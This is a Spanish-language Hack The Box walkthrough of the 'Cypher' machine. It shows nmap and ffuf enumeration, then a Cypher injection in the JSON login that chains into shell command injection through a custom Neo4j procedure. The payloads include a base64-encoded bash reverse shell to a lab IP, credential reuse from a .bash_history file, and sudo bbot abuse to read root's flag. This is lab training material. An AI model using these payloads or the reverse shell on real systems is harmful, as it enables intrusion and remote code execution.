# Cypher

#### Sobre esta maquina: HTB

Sistema Operativo: Linux

**Skills Usados**:&#x20;

* Crypher
* json
* Sql

Enumeracion Inicial con Nmap:

> nmap -sC -sV -p- 10.10.11.57 -oN First\_scannStarting Nmap 7.95 ( <https://nmap.org> ) at 2025-03-01 14:13 EST> \
> Nmap scan report for 10.10.11.57> \
> Host is up (0.034s latency).> \
> Not shown: 65533 closed tcp ports (reset)> \
> PORT STATE SERVICE VERSION> \
> 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)> \
> \| ssh-hostkey:> \
> \| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)> \
> |\_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)> \
> 80/tcp open http nginx 1.24.0 (Ubuntu)> \
> |\_http-server-header: nginx/1.24.0 (Ubuntu)> \
> |\_http-title: Did not follow redirect to <http://cypher.htb/>> \
> Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel> \
> Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .> \
> Nmap done: 1 IP address (1 host up) scanned in 19.73 seconds> \
> SSH (port 22) on an Ubuntu system.> \
> HTTP (port 80) running nginx 1.24.0 on Ubuntu.> \
> A redirect to <http://cypher.htb/>.> \
> We update our /etc/hosts to include:> \
> echo "10.10.11.57 cypher.htb" | sudo tee -a /etc/hosts> \
> With that in place, we can now browse to <http://cypher.htb>.

Enumeracion web:

> ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt -u <http://cypher.htb/FUZZ> -c -t 50> \
> /'***\ /'***\ /'***\\***\
> \&#xNAN;***/\ \_*****/ /\ \_*****/ \_\_ \_\_ /\ \_*****/**\
> \&#xNAN;**\ \ ,**\ \ ,**/\ /\ \ \ \ ,**\\\
> \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/\
> \ \_\ \ \_\ \ \_***/ \ \_\\***\
> \&#xNAN;***/*****/ /*****/ /***/ /\_
>
> v2.1.0-dev
>
> :: Method : GET> \
> :: URL : <http://cypher.htb/FUZZ>> \
> :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt> \
> :: Follow redirects : false> \
> :: Calibration : false> \
> :: Timeout : 10> \
> :: Threads : 50> \
> :: Matcher : Response status: 200-299,301,302,307,401,403,405,500> \
> index.html \[Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 34ms]> \
> login.html \[Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 33ms]> \
> . \[Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 34ms]> \
> about.html \[Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 34ms]> \
> logo.png> \
> testing \[Status: 200, Size: 206674, Words: 651, Lines: 876, Duration: 33ms]> \
> :: Progress: \[37050/37050] :: Job \[1/1] :: 1506 req/sec :: Duration: \[0:00:24] :: Errors: 0 ::

Conseguimos testing, dentro de el conseguimos un archivo tar, al descomprimirlo conseguimos las siguientes funciones en CustoFuctions.class :

> package com.cypher.neo4j.apoc;> \
> import java.io.BufferedReader;> \
> import java.io.InputStreamReader;> \
> import java.util.Arrays;> \
> import java.util.concurrent.TimeUnit;> \
> import java.util.stream.Stream;> \
> import org.neo4j.procedure.Description;> \
> import org.neo4j.procedure.Mode;> \
> import org.neo4j.procedure.Name;> \
> import org.neo4j.procedure.Procedure;> \
> public class CustomFunctions {> \
> @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)> \
> @Description("Returns the HTTP status code for the given URL as a string")> \
> public Stream getUrlStatusCode(@Name("url") String url) throws Exception {> \
> if (!url.toLowerCase().startsWith("http\://") && !url.toLowerCase().startsWith("https\://"))> \
> url = "https\://" + url;> \
> String\[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http\_code} " + url };> \
> System.out.println("Command: " + Arrays.toString((Object\[])command));> \
> Process process = Runtime.getRuntime().exec(command);> \
> BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));> \
> BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));> \
> StringBuilder errorOutput = new StringBuilder();> \
> String line;> \
> while ((line = errorReader.readLine()) != null)> \
> errorOutput.append(line).append("\n");> \
> String statusCode = inputReader.readLine();> \
> System.out.println("Status code: " + statusCode);> \
> boolean exited = process.waitFor(10L, TimeUnit.SECONDS);> \
> if (!exited) {> \
> process.destroyForcibly();> \
> statusCode = "0";> \
> System.err.println("Process timed out after 10 seconds");> \
> } else {> \
> int exitCode = process.exitValue();> \
> if (exitCode != 0) {> \
> statusCode = "0";> \
> System.err.println("Process exited with code " + exitCode);> \
> }> \
> }> \
> if (errorOutput.length() > 0)> \
> System.err.println("Error output:\n" + errorOutput.toString());> \
> return Stream.of(new StringOutput(statusCode));> \
> }> \
> public static class StringOutput {> \
> public String statusCode;> \
> public StringOutput(String statusCode) {> \
> this.statusCode = statusCode;> \
> }> \
> }> \
> }

La vulnerabilidad de este codigo esta en esta linea:

> String\[] command = {> \
> "/bin/sh", "-c",> \
> "curl -s -o /dev/null --connect-timeout 1 -w %{http\_code} " + url> \
> };

No hay sanitizacion asi que podriamos incluir comandos arbitrarios:

Inyeccion Cypher, podemos ver que nuestras credenciales se publican en Json /api/auth, asi que podemos observar que el parametro es vulnerable a la inyeccion:

> POST /api/auth> \
> Host: cypher.htb> \
> Content-Type: application/json> \
> {> \
> "username": "test' OR 1=1 //",> \
> "password": "test"> \
> }> \
> Response:> \
> HTTP/1.1 400 Bad Request> \
> Server: nginx/1.24.0 (Ubuntu)> \
> Date: Sat, 01 Mar 2025 21:14:14 GMT> \
> Content-Length: 3480> \
> Connection: keep-alive> \
> Traceback (most recent call last):> \
> File "/app/app.py", line 142, in verify\_creds> \
> results = run\_cypher(cypher)> \
> File "/app/app.py", line 63, in run\_cypher> \
> return \[r.data() for r in session.run(cypher)]> \
> File "/usr/local/lib/python3.9/site-packages/neo4j/\_sync/work/session.py", line 314, in run> \
> self.\_auto\_result.\_run(> \
> File "/usr/local/lib/python3.9/site-packages/neo4j/\_sync/work/result.py", line 221, in \_run> \
> self.\_attach()> \
> File "/usr/local/lib/python3.9/site-packages/neo4j/\_sync/work/result.py", line 409, in \_attach> \
> self.\_connection.fetch\_message()> \
> File "/usr/local/lib/python3.9/site-packages/neo4j/\_sync/io/\_common.py", line 178, in inner> \
> func(\*args, \*\*kwargs)> \
> File "/usr/local/lib/python3.9/site-packages/neo4j/\_sync/io/\_bolt.py", line 860, in fetch\_message> \
> res = self.\_process\_message(tag, fields)> \
> File "/usr/local/lib/python3.9/site-packages/neo4j/\_sync/io/\_bolt5.py", line 370, in \_process\_message> \
> response.on\_failure(summary\_metadata or {})> \
> File "/usr/local/lib/python3.9/site-packages/neo4j/\_sync/io/\_common.py", line 245, in on\_failure> \
> raise Neo4jError.hydrate(\*\*metadata)> \
> neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Query cannot conclude with MATCH (must be a RETURN clause, a FINISH clause, an update clause, a unit subquery call, or a procedure call with no YIELD). (line 1, column 1 (offset: 0))> \
> "MATCH (u:USER) -\[:SECRET]-> (h:SHA1) WHERE u.name = 'test' OR 1=1 //' return h.value as hash"> \
> ^}

Asi que ahora aplicamos la inyeccion:

> echo "bash -c 'exec bash -i &>/dev/tcp/10.10.14.39/9999 <&1'" | base64\
> YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMjIvOTk5OSA8JjEnCg==> \
> {> \
> "username": "admin' OR 1=1 WITH 1 as n CALL custom.getUrlStatusCode('evil.com; ping -c5 10.10.14.39 #') YIELD statusCode RETURN n //",> \
> "password": "test1'+1=1--"> \
> } <br>
>
> Ahora que el servidor procesa la peticion observamos lo siguiente:

> MATCH (u:USER)-\[:SECRET]->(h:SHA1)> \
> WHERE u.name = 'admin' OR 1=1> \
> WITH 1 as n> \
> CALL custom.getUrlStatusCode('evil.com; ping -c5 10.10.14.39 #') YIELD statusCode> \
> RETURN n

Iniciamos tcpdump, para obtener los paquetes vulnerables:

> sudo tcpdump -i tun0 icmp

Realizamos la reverseshell:

> {> \
> "username": "admin' OR 1=1 WITH 1 as n CALL custom.getUrlStatusCode('evil.com; echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuMjIvOTk5OSA8JjEnCg==|base64 -d|bash #') YIELD statusCode RETURN n //",> \
> "password": "anything"> \
> }

Inicimaos el nc escuchando por el puerto 9999:

Dentro del usuario neo4j, conseguimosen en el bash\_history un password:

> cat .bash\_history> \
> neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

Intentamos ahora buscar usuarios:

> MATCH (u:USER)-\[:SECRET]->(h:SHA1)> \
> RETURN u.name AS username, h.value AS hash;> \
> Which reveals something like:

> ....+---------------------------------------------------------+> \
> \| username | has |> \
> +---------------------------------------------------------+> \
> \| "graphasm" | "9f54ca4c130be6d529a56dee59dc2b2090e43acf" |> \
> +---------------------------------------------------------+

El hash no lo pude crackear, asi que intente el usuario graphasm con la primera password por ssh a ver si logro ingresar:

> ssh graphasm\@10.10.11.57> \
> password: cU4btyib.20xtCMCXkBmerhK

Estamos dentro, ahora buscamos la primera flag:

> graphasm\@cypher:$ ls> \
> bbot\_preset.yml user.txt> \
> graphasm\@cypher\~\~:\~\~$ cat user.txt> \
> d407e89a3958e073fe0cbf90c02f06b8

Intentamos escalar a Root:

Listamos los permisos:

> graphasm\@cypher:\~$ sudo -l> \
> Matching Defaults entries for graphasm on cypher:> \
> env\_reset, mail\_badpass, secure\_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use\_pty> \
> User graphasm may run the following commands on cypher:> \
> ALL) NOPASSWD: /usr/local/bin/bbot

Ahora que sabemos que graphasm puede correr bbot como root, nosotros podemos cargar archivos yara como root/root.txt y obtener la ultima flag:

> graphasm\@cypher:\~$ sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run> \
> ...> \
> \[DBUG] internal.excavate: Setting up module excavate> \
> \[DBUG] internal.excavate: Including Submodule CSPExtractor> \
> \[DBUG] internal.excavate: Including Submodule EmailExtractor> \
> \[DBUG] internal.excavate: Including Submodule ErrorExtractor> \
> \[DBUG] internal.excavate: Including Submodule FunctionalityExtractor> \
> \[DBUG] internal.excavate: Including Submodule HostnameExtractor> \
> \[DBUG] internal.excavate: Including Submodule JWTExtractor> \
> \[DBUG] internal.excavate: Including Submodule NonHttpSchemeExtractor> \
> \[DBUG] internal.excavate: Including Submodule ParameterExtractor> \
> \[DBUG] internal.excavate: Parameter Extraction disabled because no modules consume WEB\_PARAMETER events> \
> \[DBUG] internal.excavate: Including Submodule SerializationExtractor> \
> \[DBUG] internal.excavate: Including Submodule URLExtractor> \
> \[DBUG] internal.excavate: Successfully loaded custom yara rules file \[/root/root.txt]> \
> \[DBUG] internal.excavate: Final combined yara rule contents: bd08452ebc068e611f90463a05edd1ec> \
> ...> \
> Al ejecutarlo, vemos la flag, la copiamos y hemos obtenido root: bd08452ebc068e611f90463a05edd1ec

con la obtención de la ultima flag damos la maquina por terminada.
